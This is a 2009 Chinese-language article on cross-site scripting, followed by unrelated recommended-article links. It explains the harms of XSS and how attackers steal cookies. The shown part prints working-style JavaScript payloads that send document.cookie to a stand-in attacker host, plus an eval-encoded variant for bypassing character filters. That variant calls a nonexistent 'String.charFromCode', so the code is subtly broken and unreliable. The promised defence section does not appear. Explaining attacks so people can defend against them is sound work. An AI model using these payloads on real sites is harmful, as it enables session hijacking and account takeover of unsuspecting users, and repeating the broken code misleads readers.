跨站脚本攻击深入解析:跨站危害及cookie盗窃
作者:康凯 来源:asp之家 发布时间:2009-12-24 17:12:00
跨站脚本的名称源自于这样一个事实,即一个Web 站点(或者人)可以把他们的选择的代码越过安全边界线注射到另一个不同的、有漏洞的Web 站点中。当这些注入的代码作为目标站点的代码在受害者的浏览器中执行时,攻击者就能窃取相应的敏感数据,并强迫用户做一些用户非本意的事情。
在本文的上篇中,我们详细介绍了跨站脚本漏洞利用的过程,并对HTML注入进行深入分析;而本文将详细介绍跨站脚本的危害,以及攻击者是如何诱骗受害者的;最后介绍针对跨站脚本攻击的防御措施。
一、跨站脚本的危害
XSS是一种对Web应用程序的用户发动的攻击,利用它攻击者能装扮成被攻击的用户来完全控制Web应用程序,即便Web应用程序位于一个防火墙之后并且攻击者无法直接接触该Web应用程序也是如此。XSS一般不会对用户的机器造成损害,也不会对Web应用程序服务器直接造成破坏。如果成功,攻击者可以做三种事情:
窃取Cookie
在受害用户面前假冒成Web应用程序
在Web应用程序面前假冒成受害用户
二、窃取Cookie
Cookie一般控制着对Web应用程序的访问,如果攻击者偷窃了受害用户的Cookie,那么攻击者就可以使用受害者的Cookie来完全控制受害者的帐户。对于Cookie来说,其最佳实践就是让它在一段时间后过期,这样的话攻击者就只能在有限的时间内访问受害者的帐户。可以利用下面的代码来窃取Cookie:
var x=new Image();x.src=‘http://attackerssite.com/eatMoreCookies?c=’+document.cookie;
或者像下面这样:
document.write(“〈 img src=‘http://attackerssite.com/eatMoreCookies”+“?c=”+document.cookie+“’〉”);
如果某些字符是禁止的,则将其转换为ASCII的十进制数,然后使用JavaScript的String.charFromCode()函数即可。下列JavaScript等价于前面的JavaScript:
以下为引用的内容:
eval(String.charFromCode(118,97,114,32,120,61,110,101,119,32,73,109,
97,103,101,40,41,59,120,46,115,114,99,61,39,104,116,116,112,58,47,47,
97,116,116,97,99,107,101,114,115,115,105,116,101,46,99,111,109,47,
101,97,116,77,111,114,101,67,111,111,107,105,101,115,63,99,61,39,43,
100,111,99,117,109,101,110,116,46,99,111,111,107,105,101,59));


猜你喜欢
- 继续关于Godaddy主机问题系列,嘿嘿,今天要介绍的是如何使用CoffeeCup® HTML Editor 2007上传网
- orderby=digg 就是按照DIGG的次数来排序的{dede:arclist row=5 titlelen=24&
- 有才不遇,就要多加主动出击。因此,无论你的博客内容多么精彩,预期中会多么受欢迎,你得让别人看到,只有别人发现了您的内容,价值才能得以体现。在
- “网页游戏是我们最先叫起来的”,孙文俊这样对腾讯科技说,“最初的叫法是WebGame或浏览器游戏。”孙文俊05年底创立了一个《OGame银河
- 这本小册子薄得让人有点为难,但是这已经有了足够的信息量让所有人来重新审视一个产业,没错,从今天开始,SEM 这个产业可以划分为「之前」和「以
- 导读:最近AdSense又做出了改变,而这一最新的变化可能影响你的点击率和收入,因为Google力图减少意外点击并提升对于广告主的价值。Go
- 对Google而言,链接可是它的“命根子”,也是它成功的关键。所以Google一有机会就向你灌输这样
- 1、查看服务器端口是否被占用>lsof -i:80812、查看服务器所有端口>netstat -ntlp3、查看服务
- 一、安装Sendmail完全安装Red Hat Linux 9.0时,Sendmail就会自动内置,版本号为8.12.8-4。如果你不确定L
- 美国GoDaddy主机Windows方案的IIS6和IIS7有什么区别呢?下面我给大家讲解下。总体来讲,IIS7.0支持之前(如iis6)所
- 11月4日消息,针对旗下游戏新作《绿色征途》自封国内首款绿色网游惹争议一事,巨人网络今日发表回应称,绿色网游应重视玩家利益。据悉,巨人网络为
- 资金不是第一难题记者:如何看待目前整个web2.0行业的问题?如资金短缺、盈利模式难题、风投相对缩减等。试用网徐乐:不要急躁,不要做虚假流量
- 在Apache下的日志简介Apache提供了广泛记录运行时各方面信息的工具。比如有条件性的记录日志,日志循环,确定IP地址等时普遍会遇到的问
- 相对于Windows98系统Windows2000在系统的稳定性方面大大加强了,相对于WindowsXP操作系统Windows2000在硬件
- 增加链接的途径1。找您朋友的网站帮您加您网站的链接。单向链接对您网站效果最好。2。在google和baidu查询您网站的主题。看看排名第一页
- 经过数月的紧张开发,TM2009系列的第二个稳定版今天发布了!这个版本增加了传文件夹、插件管理、锁定等多项功能,大大增强了实用性。TM200
- SQL注入漏洞曾经是Web应用程序的噩梦,CMS、BBS、Blog无一不曾受其害。SQL注入的原理以往在Web应用程序访问数据库时一般是采取
- 在折腾MiniServer时,发现不管我怎么配置,apache总会提示“Failed loading…ZendLoader.dll”,就是说
- 别人可以的,我也可以,这是我当时开店时的坚决信念。我相信,淘宝上的很多成功卖家,还原本色,也都是一些平凡的人,只是他们用了心。开始只是在淘宝
- 博客是互联网站点的一种形式,因此通常的网站可用性设计规范都适用,但博客同时是一种独特的网站,它有自己的特点,因此,有独特的可用性设计规范。为